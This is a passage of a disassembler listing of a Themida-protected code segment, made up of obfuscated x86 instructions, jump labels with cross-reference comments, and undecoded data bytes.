		sub	edi, 76DE5150h
		mov	edx, edi
		pop	edi
		add	dword ptr [esp+4], 64C83F2Eh
		add	dword ptr [esp+4], 62EC7CD7h
		jmp	loc_5FDE11
; ---------------------------------------------------------------------------


loc_5F9DE1:				; CODE XREF: Themida_:005FEB14j
		push	ecx
		jmp	loc_6015AD
; ---------------------------------------------------------------------------
		db 58h
		dd 0C63CAA35h, 24148B49h, 4C481h, 55530000h, 0D13B47BDh
		dd 0DC38E918h, 0C381FFFFh, 42C519E2h, 0ADE9FB01h, 88000062h
		dd 373459C8h, 0C7885351h, 885BF988h, 5859CFh, 0C8E95BF8h
		dd 1000054h, 82E95AD7h,	8900001Ch, 4C181E1h, 0E9000000h
		dd 0FFFFEA9Ch
; ---------------------------------------------------------------------------


loc_5F9E3C:				; CODE XREF: Themida_:005F7A98j
		push	esi
		jmp	loc_5FFB39
; ---------------------------------------------------------------------------


loc_5F9E42:				; CODE XREF: Themida_:005FFDFFj
		shl	ecx, 8
		inc	ecx
		sub	ecx, 78F66156h
		sub	edx, ecx
		pop	ecx
		neg	edx
		and	edx, 70D73DAEh
		shl	edx, 4
		inc	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5FEC1A
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 0E8F3807Fh, 600AE9h,	24148900h, 51A68h, 24248900h, 4240483h
		dd 4C2815Ah, 53000000h,	8904EC83h, 6AE92414h, 2D00000Eh
		dd 4367754Eh, 6CCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F9E9D:				; CODE XREF: Themida_:005F71DEj
		sub	eax, 1
		not	eax
		add	eax, 5A5D4A7Ah
		not	eax
		sub	eax, 0A486AD98h
		add	ebx, eax
		jmp	loc_5F96AD
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 3255BF57h, 0F889247Eh, 0FAE9575Fh
		db 0E5h, 2 dup(0FFh)
byte_5F9EC7	db 0ACh			; DATA XREF: Themida_:005F68ECo
		dd 0EC835166h, 24048904h, 0ECC0B9B4h, 0E69BE906h, 2BFFFFFh
		dd 29000000h, 4A685FFAh, 89000039h, 74FF2414h, 8F5A0424h
		dd 248B2404h, 4896624h,	0CA45E924h, 68BBFFFFh, 0F744424Ch
		dd 4E3C1D3h, 2C74E9h, 3CD36600h, 2CE99C24h, 0F7FFFFCAh
		dd 242C31D5h, 31242C33h, 54E9242Ch, 2900006Ah, 0E7C15AD7h
		dd 7303E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F9F32:				; CODE XREF: Themida_:005FC01Cj
		mov	ebx, esp
		jmp	loc_5F862B
; ---------------------------------------------------------------------------
		db 89h,	0C1h, 58h
		dd 0E959C801h, 4703h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 2302E9h, 53D1F700h, 0FFE85BE9h, 0C035B3FFh, 0EBC005EBh
		dd 0F6DBF605h, 91CB80DBh, 2838C380h, 0B9E95BD8h, 5B000020h
		dd 4244C01h, 2434FF59h,	0BDE95558h, 66000072h, 1AB151h
		dd 5966C8h, 0E91A2CF0h,	0FFFFE70Bh, 586E3B68h, 0E7E95D40h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F9FA7:				; CODE XREF: Themida_:00601230j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_60083F
; ---------------------------------------------------------------------------


loc_5F9FBB:				; CODE XREF: Themida_:00600739j
		push	ebp
		jmp	loc_5F92DD
; ---------------------------------------------------------------------------
		db 31h,	0F8h, 5Fh
aSspj		db 'S鯆',0
		align 2


loc_5F9FCA:				; CODE XREF: Themida_:005F9230j
		push	ebx
		push	esp
		jmp	loc_5FB58E
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 47h
		dd 4762C321h, 7D13E9h, 0E9814900h, 684B133Fh, 8811F181h
		dd 0CE3175CEh, 9DC68159h, 56BF6AB5h, 695866BEh,	0E8CE8140h
		dd 814C642Fh, 951053F6h, 47D5E931h, 48B0000h, 4C48124h
		dd 83000000h, 0C3302C1h, 240C3124h, 5C240C33h, 0E99CC884h
		dd 6E28h
; ---------------------------------------------------------------------------


loc_5FA028:				; CODE XREF: Themida_:0060142Dj
		xchg	ecx, [esp]
		jmp	loc_602CDB
; ---------------------------------------------------------------------------


loc_5FA030:				; CODE XREF: Themida_:005F836Aj
		dec	eax
		add	eax, 5F7A70D2h
		add	eax, 3C145A1Ah
		xor	eax, 9B8682EFh
		add	edi, 690A23ABh
		jmp	loc_6010E4
; ---------------------------------------------------------------------------
		db 4
		dd 2CD00052h, 0E8005A52h, 0E9535166h, 0FFFFEA33h, 525DEA29h
		dd 42474FFh, 8324148Bh,	48F04C4h, 24248B24h, 8B240489h
		dd 0C4832414h, 0C8C5E904h, 0E689FFFFh, 4C681h, 8DE90000h
		dd 89000075h, 83BD242Ch, 0E91D310Eh, 683Bh, 1F3DE281h
		dd 0C281362Eh, 7697675Ah, 11A0F281h, 0F2817369h, 1A525A0h
		dd 0DBC8E950h, 0EC81FFFFh, 4, 0FFFA69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FA0C1:				; CODE XREF: Themida_:00600049j
		pop	edi
		add	ecx, esi
		pop	esi
		jmp	loc_600704
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [edi+1Ch]
		jmp	loc_5FE52E
; ---------------------------------------------------------------------------
		dw 489h
		dd 4B824h, 0EC830000h, 24048904h, 0DC039CB8h, 5B94E97Fh
		dd 1C2D0000h, 0C1044B6Fh, 86E906E8h, 8100005Fh,	0FFFFFFC3h
		dd 53E381FFh, 87281516h, 87D7F7FBh, 0E38953FBh,	4C381h
		dd 0EB810000h, 4, 8B241C87h, 14892424h,	6BE95624h, 0FEFFFFE8h
		dd 80C9FEC1h, 0C800C9F1h, 4C75E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FA146:				; CODE XREF: Themida_:005F8CEAj
		shl	esi, 8
		neg	esi
		shr	esi, 8
		xor	esi, 60F31264h
		xor	edx, esi
		pop	esi
		push	ebp
		push	ebx
		mov	ebx, 6AB751DEh
		jmp	loc_5FB72E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C52AAEEh, 46DEF76Bh, 421EE953h, 0C4800000h,	58E30080h
		dd 0B652E3D0h, 5AF30836h, 496368h, 24048900h, 0C3308AB0h
		dd 451E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FA191:				; CODE XREF: Themida_:005F8088j
		push	esi
		mov	esi, 729949E9h
		shr	esi, 4
		push	edi
		jmp	loc_5FDFA7
; ---------------------------------------------------------------------------
aI4Icsv3	db '4$3',0
		align 2


loc_5FA1AA:				; CODE XREF: Themida_:005FF3D8j
		add	edx, ebp
		jmp	loc_5F905E
; ---------------------------------------------------------------------------
		align 2
		dw 5BDEh
		dd 0F680EED0h, 5AF00078h, 8080C380h, 0C328B7EBh, 0E9B7C380h
		dd 0FFFFF368h, 3C8BF831h, 37E924h, 0CE290000h, 4EC8359h
		dd 2811E9h, 5BC38000h, 68C0B60Fh, 514Eh, 0FFF843E9h, 68A6B8FFh
		dd 410D115Ah, 0E9291C0Dh, 0FFFFEB04h, 3B816866h, 24148966h
		dd 0FFE492E9h, 4C483FFh, 67468h, 2C9EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FA21A:				; CODE XREF: Themida_:0060240Aj
		add	edx, 0FFFFFFFFh
		xor	edx, 76A23B7Bh
		or	edx, 8C053E5h
		xor	edx, 0DA987969h
		or	ebp, edx
		pop	edx
		shl	ebp, 1
		sub	ebp, 323B18B4h
		push	esi
		mov	esi, ebp
		jmp	loc_5FE9D5
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 33000000h,	4312404h, 24043324h, 48B665Ch
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 0FFF04CE9h
		dd 241C89FFh, 0EE430DBBh, 83D3F77Ch, 0CE901EBh
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FA283:				; CODE XREF: Themida_:005FEFC9j
		push	eax
		jmp	loc_5F915E
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 30h
		dd 0FFC6B2E9h, 4EB81FFh, 33000000h, 51E9241Ch
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FA29F:				; CODE XREF: Themida_:005FAF8Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5F9342
; ---------------------------------------------------------------------------


loc_5FA2AA:				; CODE XREF: Themida_:005FBCC6j
		xor	esi, 0CD964598h
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		push	23E4h
		mov	[esp], eax
		push	esi
		pop	eax
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 10317C79h
		sub	ecx, 10317C75h
		jmp	loc_5FED71
; ---------------------------------------------------------------------------
		db 80h
		dd 2C2C03C3h, 5166D800h, 7280E9h, 74E38100h, 0E905DF4Ah
		dd 7AE4h
; ---------------------------------------------------------------------------


loc_5FA2FC:				; CODE XREF: Themida_:00602D86j
		add	eax, 1
		shl	eax, 4
		add	eax, 585795CCh
		mov	ebp, eax
		pop	eax
		push	esi
		mov	esi, 7FAA12CDh
		and	ebp, esi
		pop	esi
		inc	ebp
		jmp	loc_5FC37F
; ---------------------------------------------------------------------------
		db 55h
		dd 39E16851h, 0C8B5A3Bh, 843CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FA32A:				; CODE XREF: Themida_:005FEC68j
		pop	edi
		inc	ebp
		sub	ebp, 13AD95EEh
		mov	ebx, ebp
		pop	ebp
		add	ebx, 379E1E56h
		inc	ebx
		jmp	loc_5FFD1E
; ---------------------------------------------------------------------------
aLS		db '<$',7,0
		dd 0B1E95800h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FA34F:				; CODE XREF: Themida_:005FE2D2j
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5FFDB5
; ---------------------------------------------------------------------------
		db 4, 31h, 59h
		dd 6BF868h, 240C8900h, 4EC81h, 1C890000h, 0B2E95024h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FA377:				; CODE XREF: Themida_:005F7608j
		add	eax, 4
		push	ebp
		jmp	loc_60246B
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 0E9042474h, 4208h
dword_5FA38C	dd 0FF2434FFh, 0E9592434h, 2F00h, 8704C683h, 875C2434h
					; DATA XREF: Themida_:005F6678o
		dd 248B241Ch, 0E0895024h, 405h,	0A1B95100h, 536F3600h
		dd 131F6CBBh, 3AE9527Eh, 81000024h, 0CD75BF3h, 5BDE29EDh
		dd 2D5EF029h, 7353414Bh, 5057555Fh, 0E873EAB8h,	656E3556h
		dd 0BB531574h, 43520E53h, 0D2E9D821h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FA3EB:				; CODE XREF: Themida_:00600E4Bj
		xor	eax, 43F34D19h
		push	edi
		mov	edi, 2BCE1942h
		jmp	loc_5F77AC
; ---------------------------------------------------------------------------
		db 0BFh
		dd 475F359Ah, 2442C781h, 0DFF74878h, 8104EFC1h,	0BFDA7BF7h
		dd 0E9F9297Ch, 0FFFFCA21h, 4C481h, 0B5510000h, 0B75366E3h
		dd 0E9FD08AAh, 279Fh, 0EBF2814Ah, 13D274Eh, 0E95E5AD3h
		dd 0FFFFF24Eh, 4C281h, 0C2810000h, 4, 5C241487h, 58B5B850h
		dd 70250463h, 0C168DF17h, 20508E0h, 81BCEFD0h, 0EE7F32C5h
		dd 81C50126h, 0EE7F32EDh, 9BE95826h, 89000042h,	0E2892414h
		dd 4C281h, 0B9510000h, 2, 6859CA01h, 2F8Bh, 0FF241489h
		dd 0FF042474h, 148B2434h, 69F0E924h, 248B0000h,	2434FF24h
		dd 592434FFh, 4C481h, 1B680000h, 8900007Fh, 5A542414h
		dd 4C281h, 0B9510000h, 4, 32EBE9h, 99BA5200h, 293A84D3h
		dd 0D61CE9D5h, 0E95FFFFFh, 68C6h
; ---------------------------------------------------------------------------


loc_5FA4DC:				; CODE XREF: Themida_:00601F41j
		dec	cl
		jmp	loc_5F76C7
; ---------------------------------------------------------------------------


loc_5FA4E3:				; CODE XREF: Themida_:00600FA3j
		shl	ecx, 5
		add	ecx, 0BE10CAF5h
		sub	eax, ecx
		jmp	loc_5FD20E
; ---------------------------------------------------------------------------
		db 1
		dd 5BC381D3h, 5A6C143Fh, 0DABD5556h, 0C12A3E5Dh, 0C58103E5h
		dd 0FFFFFFFFh, 3E5C14Dh, 7535E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FA515:				; CODE XREF: Themida_:005FE5E3j
		sub	esp, 4
		jmp	loc_5F9595
; ---------------------------------------------------------------------------
		dd 3A68EB81h, 0DF89C3F8h, 4EC815Bh, 89000000h, 3481243Ch
		dd 0C3521224h, 240C8B43h, 0FFD1E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FA541:				; CODE XREF: Themida_:005F6F08j
		neg	edi
		neg	edi
		xor	edi, 0C411B090h
		xor	eax, edi
		pop	edi
		push	5E00h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 77C91220h
		shl	ebx, 5
		shr	ebx, 1
		dec	ebx
		not	ebx
		sub	ebx, 836ADE00h
		push	esi
		jmp	loc_5F834D
; ---------------------------------------------------------------------------
		db 5Fh,	8Fh, 4
		dd 0DD2DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FA582:				; CODE XREF: Themida_:005F8AFAj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5F7F2A
; ---------------------------------------------------------------------------
		dd 4BDh, 0E9E80100h, 2A7Fh, 0F582E959h,	6857FFFFh, 3518h
		dd 55243489h, 5C4466BDh, 0A9C58102h, 0E9640B01h, 3F5Fh
		dd 1491EB81h, 875E2DC6h, 295C241Ch, 0E99C2404h,	0FFFFC373h
		dd 4BAh, 50EAE900h
		db 2 dup(0)
word_5FA5DA	dw 34FFh		; DATA XREF: Themida_:005F6744o
aSE		db '$E',0
		align 2
		dw 0E958h
		dd 0FFFFE53Bh, 8132FF5Eh, 3CAA2434h, 0F0E949C6h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FA5F7:				; CODE XREF: Themida_:005FEEC6j
		mov	[esp], ebx
		mov	bh, dl
		mov	[edi+eax*4+1], bh
		mov	ebx, [esp]
		push	64CCh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	38F8h
		mov	[esp], ebx
		mov	ebx, 3B191093h
		xor	ebx, 4D7554C9h
		sub	ebx, 6AC15786h
		push	ecx
		mov	ecx, 0
		sub	ecx, ebx
		mov	ebx, ecx
		jmp	loc_5FC8CC
; ---------------------------------------------------------------------------
		db 0BBh
		dd 67C6049h, 0FFFD7AE9h, 3C8758FFh, 1D685C24h, 89000077h
		dd 0EC81243Ch, 4, 0E9241C89h, 59FBh, 8904EC83h,	0E0892404h
		dd 4BB53h, 0BA680000h, 8900000Ch, 90BF243Ch, 51F7F2Ah
		dd 3F4D3E22h, 12EE9h, 0EA816600h, 166277Ch, 4201E9D0h
		dd 35680000h, 0FF64FB0Fh, 815F2434h, 4C4h, 75EF8100h, 8113E824h
		dd 6D33F9EFh, 88EF815Fh, 0C100D116h, 0C78106E7h, 45FC1BE9h
		dd 34FFF801h, 0CDA8E924h, 4E2CFFFFh, 492EE9h
		db 0
byte_5FA6CD	db 68h,	0F1h, 7Bh	; DATA XREF: Themida_:005F6868o
		dd 0C890000h, 0CA9AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FA6DA:				; CODE XREF: Themida_:005FD52Cj
		push	ecx
		mov	ecx, 18145EAh
		shr	ecx, 3
		jmp	loc_5FC021
; ---------------------------------------------------------------------------


loc_5FA6E8:				; CODE XREF: Themida_:006022D2j
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_600271
; ---------------------------------------------------------------------------


loc_5FA6F4:				; CODE XREF: Themida_:005FF38Aj
		or	edx, 584C03A2h
		xor	edx, 3DAE7355h
		inc	edx
		xor	edx, 7F2C7D18h
		xor	edx, 38DD3E4Ch
		xor	edx, 589601DDh
		push	esi
		mov	esi, 4FAA01AAh
		or	edx, esi
		pop	esi
		push	edi
		mov	edi, 0B3D33AFh
		inc	edi
		shr	edi, 5
		jmp	loc_5FB8FC
; ---------------------------------------------------------------------------
		db 52h
		dd 105E4DBAh, 5AD72910h, 5452E781h, 0EF815964h,	0CBCC2C80h
		dd 3C8BF829h, 4C48324h,	8C2A4435h, 58C601C3h, 2BA52h, 0D6290000h
		dd 5A2434FFh, 4C481h, 34330000h, 5CB8E924h, 685B0000h
		dd 4347h, 0BD242C89h, 2, 316AB951h, 0FE95E98h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FA783:				; CODE XREF: Themida_:006015B8j
		mov	esp, [esp]
		inc	dword ptr [esp]
		pushf
		jmp	loc_5FB043
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2434FF00h, 4EC8359h, 89241489h, 4C281E2h, 53000000h
		dd 5CCDBA52h, 0C8E973CAh, 29000029h, 3E222DF8h,	15F3F4Dh
		dd 2A9005D8h, 7CE91F7Fh, 0BB000039h, 4,	4245C01h, 68575A5Bh
		dd 4, 0BEA815Fh, 144B427h, 260FE9FAh, 89500000h, 82EDE9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FA7EE:				; CODE XREF: Themida_:00600AA1j
		mov	edi, 5C115AD4h
		sub	ebx, 121929E7h
		jmp	loc_5FCECE
; ---------------------------------------------------------------------------


loc_5FA7FE:				; CODE XREF: Themida_:005F77BFj
		push	ebx
		mov	ebx, 492B29D2h
		dec	ebx
		inc	ebx
		xor	ebx, 4DF91D42h
		neg	ebx
		jmp	loc_5FFC83
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8304C283h, 148904ECh, 2474FF24h, 48F5A04h, 6C40E924h
		dd 0D8010000h, 4EC81h, 3C890000h, 0FE58E924h, 0C829FFFFh
		dd 5E2D3105h, 2434FF77h, 6861E959h, 0EF810000h,	28DF1FF9h
		dd 0F0E9515Bh, 8BFFFFDCh, 0C481240Ch, 4, 2B951h, 0C8010000h
		dd 24048759h, 2404085Ch, 0C0CDE99Ch, 5358FFFFh,	0FB57CBBBh
		dd 0EFC38107h, 0E94D722Dh, 0FFFFDF6Ah, 24048B66h, 2C481h
		dd 31660000h, 242C8BE8h, 5104C483h, 4EC81h, 34890000h
		dd 6CBE6624h, 0EEC16671h, 0EEC16608h, 0C6816604h, 81666BF4h
		dd 0E92DA2F6h, 4391h, 0C48078B4h, 8ECC052h, 8002B353h
		dd 0DBF6FFEBh, 5201EB80h, 3EC7E9h, 13BA5200h, 29337D23h
		dd 5A042454h, 2A25E9h, 3CEA8100h, 8B7DC00Dh, 5457243Ch
		dd 4C7815Fh, 81000000h,	4C7h, 243C8700h, 7B3BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5FA909:				; CODE XREF: Themida_:006007CAj
		mov	ecx, 25B4E06h
		jmp	loc_601A63
; ---------------------------------------------------------------------------
byte_5FA913	db 66h			; DATA XREF: Themida_:005F66FCo
		dd 57240C8Bh, 0BB535F54h, 4, 1C8BDF01h,	4C48124h, 81000000h
		dd 4EFh, 243C3300h, 33243C31h, 28E9243Ch, 51FFFFCEh, 4C7E9h
		dd 4C48100h, 58000000h,	405h, 2C08300h,	2474FF50h, 48F5804h
		dd 24248B24h, 6379E9h, 24148900h, 4BAh,	24540100h, 515A5A04h
		dd 4B9h, 59CA0100h, 3304C283h, 14312414h, 24143324h, 0E924248Bh
		dd 0FFFFBFB3h, 687CF968h, 0E956593Fh, 799Dh, 4240481h
		dd 5B000000h, 11B85057h, 0BF5C132Eh, 5C132E15h,	0A6E9C731h
		dd 2D00004Bh, 32761290h, 9B047105h, 2DD80171h, 719B0471h
		dd 76129005h, 4EC8132h,	89000000h, 76B9240Ch, 144E668h
		dd 240C8BC8h, 0E9E28952h, 3810h, 690CB850h, 8BD4281h, 31428169h
		dd 24048BC5h, 104C483h,	0C1835DE9h, 74FF5102h, 0C8B0424h
		dd 4C48124h, 0E9000000h, 0FFFFE515h, 33243C31h,	895C243Ch
		dd 0B4E9241Ch, 81000078h, 53B8BCEAh, 1CB9E993h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FAA2E:				; CODE XREF: Themida_:005FD2D2j
		pop	esp
		jmp	loc_5F8CA4
; ---------------------------------------------------------------------------
		dd 0FFBF0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FAA39:				; CODE XREF: Themida_:005FBA53j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5FECA6
; ---------------------------------------------------------------------------
		db 0F7h
		dd 37BD55DBh, 57106F5Bh, 750333BFh, 0FFFD2165h,	0E95F2434h
		dd 4684h
; ---------------------------------------------------------------------------


loc_5FAA78:				; CODE XREF: Themida_:00601EBCj
		mov	esi, edx
		jmp	loc_602A4E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 7192E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5FAA8A:				; CODE XREF: Themida_:005F7A9Fj
		mov	ebp, [esp]
		jmp	loc_5F861F
; ---------------------------------------------------------------------------
aBNXZIH		db 'œnX',9,'Z',8,'h',0
		dd 29000000h, 815B241Ch, 3AD939C3h, 5BDA0112h, 5D32C281h
		dd 0FA01053Eh, 0FFD986E9h, 75E95CFFh, 8900005Ah, 5057241Ch
		dd 0EA6BC6B8h, 4EE80D75h, 0D8F707DFh, 9301CB2Dh, 0E475E95Ch
		dd 0E958FFFFh, 10A8h, 59CB8966h, 66DE8966h, 0F521665Bh
		dd 81665E66h, 6614E9E5h, 44BBE950h
		db 2 dup(0)
word_5FAAFE	dw 0AD66h		; DATA XREF: Themida_:005F6874o
		dd 6296866h, 0FFD032E9h, 4C481FFh, 66000000h, 0E943F068h
		dd 1C45h, 0FFBE26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FAB1D:				; CODE XREF: Themida_:005F9B15j
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		push	9A1h
		jmp	loc_5FE8FD
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 8904EC83h, 4B9240Ch, 0E9000000h, 1DCEh, 2404335Ah
		dd 33240431h, 248B2404h, 240CFF24h, 0BDE9E99Ch,	8957FFFFh
		dd 4C781E7h, 81000000h,	4EFh, 243C3300h, 33243C31h, 895C243Ch
		dd 74FF241Ch, 62E90424h, 5AFFFFC5h, 140FB22Dh, 5D8011Ch
		dd 1C140FB2h, 9C21A305h, 2434FF2Bh, 4C4835Bh, 2C8868h
		dd 6195E900h, 0E9510000h, 0BF6h, 6203A5F3h, 320DE938h
		dd 0DFF70000h, 0FFEDCEE9h, 5AD029FFh, 644A4105h, 2CE95E52h
		dd 1000074h, 51575DEEh,	0DF5D08B9h, 5D0ABF0Dh, 0CF290DDFh
		dd 3102E9h
		db 0
; ---------------------------------------------------------------------------


loc_5FABDD:				; CODE XREF: Themida_:005F7BA9j
		push	eax
		pop	ecx
		mov	edx, ecx
		pop	ecx
		pop	eax
		sub	ecx, edx
		pop	edx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5F9156
; ---------------------------------------------------------------------------
		dw 5FB3h
		dd 80BDEB80h, 0DA2825EAh, 0E925C280h, 0FFFFEEE3h, 8006E2C0h
		dd 526657EAh, 66241CF6h, 43C2805Ah, 64E9DAF6h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FAC23:				; CODE XREF: Themida_:006022F2j
		pop	ebx
		shr	edi, 5
		push	eax
		jmp	loc_5FC2E7
; ---------------------------------------------------------------------------
		db 31h,	0DFh, 8Bh
		dd 0C481241Ch, 4, 29EDEB81h, 0FB014350h, 29EDC381h, 815F4350h
		dd 174142C3h, 0E9C3292Dh, 828Ah, 0DA01585Fh, 0FFD4D9E9h
		dd 64EC80FFh, 34FFE230h, 0C4835824h, 0A7CA8004h, 8001C280h
		dd 0F65234C2h, 805A241Ch, 39E9D1C2h, 87000034h,	248B2414h
		dd 60CB6824h, 3C890000h, 0E9E78924h, 0FFFFDA25h, 56243C89h
		dd 1971D2BEh, 524E4603h, 0FFC27EE9h, 0E9D001FFh, 1C3Dh
		dd 405E089h, 83000000h,	0EEE904C0h, 0F7FFFFEDh,	0EBEF81DFh
		dd 1866ADAh, 0E6E95FFBh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5FACCB:				; CODE XREF: Themida_:005FF470j
		push	0FFFFFFFFh
		pop	ebp
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebp
		jmp	loc_5FD51B
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 667E9h
		db 0
byte_5FACED	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F66E0o
aS_8		db '$]',0
		db 2 dup(0), 0F3h
		dd 1E4E9h, 6053BA00h, 0BE565574h, 2F933140h, 0E95EF209h
		dd 0FFFFF388h
; ---------------------------------------------------------------------------


loc_5FAD10:				; CODE XREF: Themida_:005F7D5Ej
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5F6943
; ---------------------------------------------------------------------------
aI4Su		db '4$-',0
		dw 8900h
		dd 6BBD242Ch, 5136DE68h, 1F5336B9h, 25F18114h, 317B765Ch
		dd 840559CDh, 118C51Ah,	1A842DE8h, 2D5D18C5h, 5AB15532h
		dd 0F3B2905h, 2DD82913h, 130F3B29h, 0B1553205h,	59DC685Ah
		dd 14890000h, 6778BA24h, 0BF5759B7h, 5CED0CB0h,	1E9F829h
		dd 5500001Dh, 5C6CC5BDh, 0ED814573h, 4AF02E88h,	0FFD5AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FAD8D:				; CODE XREF: Themida_:005FF8BDj
		mov	ebx, 28h
		mov	ecx, ebx
		pop	ebx
		add	ecx, edi
		push	eax
		jmp	loc_5FEA8F
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd offset dword_49005C+2AE8Dh
		dd 4C48100h, 0
		dd 94B151C3h, 666CC980h, 80D0B050h, 0EFE980E9h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5FADBF:				; CODE XREF: Themida_:005F9974j
		xor	eax, edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5FE5E2
; ---------------------------------------------------------------------------


loc_5FADD6:				; CODE XREF: Themida_:005FB7ADj
		inc	ebp
		jmp	loc_5FE8A2
; ---------------------------------------------------------------------------
		dd 4BE9E389h, 87FFFFFDh, 895C2404h, 0AB22414h, 23CA68h
		dd 241C8900h, 6356E9h, 95B5D00h, 0E95D1C6Fh, 5A96h, 0E9243487h
		dd 0FFFFC9F9h, 42474FFh, 83240C8Bh, 48F04C4h, 24248B24h
		dd 0FFF468E9h, 242489FFh, 0F99DE953h, 0C681FFFFh, 4, 6878BF57h
		dd 0EFC17FB8h, 48E78106h, 0E9790F67h, 777Bh
; ---------------------------------------------------------------------------


loc_5FAE44:				; CODE XREF: Themida_:005F8581j
		push	edi
		push	edx
		jmp	loc_6003C6
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0BF575A00h, 74539CFh, 8106EFC1h, 111368CFh
		dd 15C78173h, 18CE2E8h,	0F664E9FAh, 0D5F7FFFFh,	0FFD129E9h
		db 0FFh
byte_5FAE79	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F6750o
		dd 8B545724h, 0C481243Ch, 4, 4EC81h, 4FE90000h,	5CFFFFF2h
		dd 0B60F66h, 8904EC83h,	0EC83243Ch, 24248904h, 4240483h
		dd 0E92434FFh, 2479h, 8307E6C0h, 1C8904ECh, 3080B724h
		dd 0EEC05BFEh, 0FACE8007h, 0E982B353h, 0FFFFF2E5h, 0E389535Eh
		dd 0FFC6AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FAED5:				; CODE XREF: Themida_:0060252Aj
		mov	ecx, 44A371C3h
		mov	edx, ecx
		jmp	loc_602E08
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 2C48324h, 80D6B652h,	0F3286FF6h, 66C3285Ah, 0E9536651h
		dd 1661h, 0DB65BD66h, 66E92966h, 0CB01665Dh, 0C0B70F59h
		dd 4EC8152h, 0E9000000h, 0C04h,	4C281h,	0C2810000h, 4
		dd 8B241487h, 68682424h, 89000057h, 85BB241Ch, 8303772Ch
		dd 148904ECh, 6B47BA24h, 0EB813BA1h, 466071C0h,	0BD55D301h
		dd 466071C0h, 2D26E9h, 4C48300h, 0E95AD130h, 16E0h
; ---------------------------------------------------------------------------


loc_5FAF60:				; CODE XREF: Themida_:005F9159j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5FB741
; ---------------------------------------------------------------------------
aZS_0		db '<$\|',0Bh,0
		align 4
		dd 9CC83B66h, 0FFB9C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5FAF7D:				; CODE XREF: Themida_:00602C58j
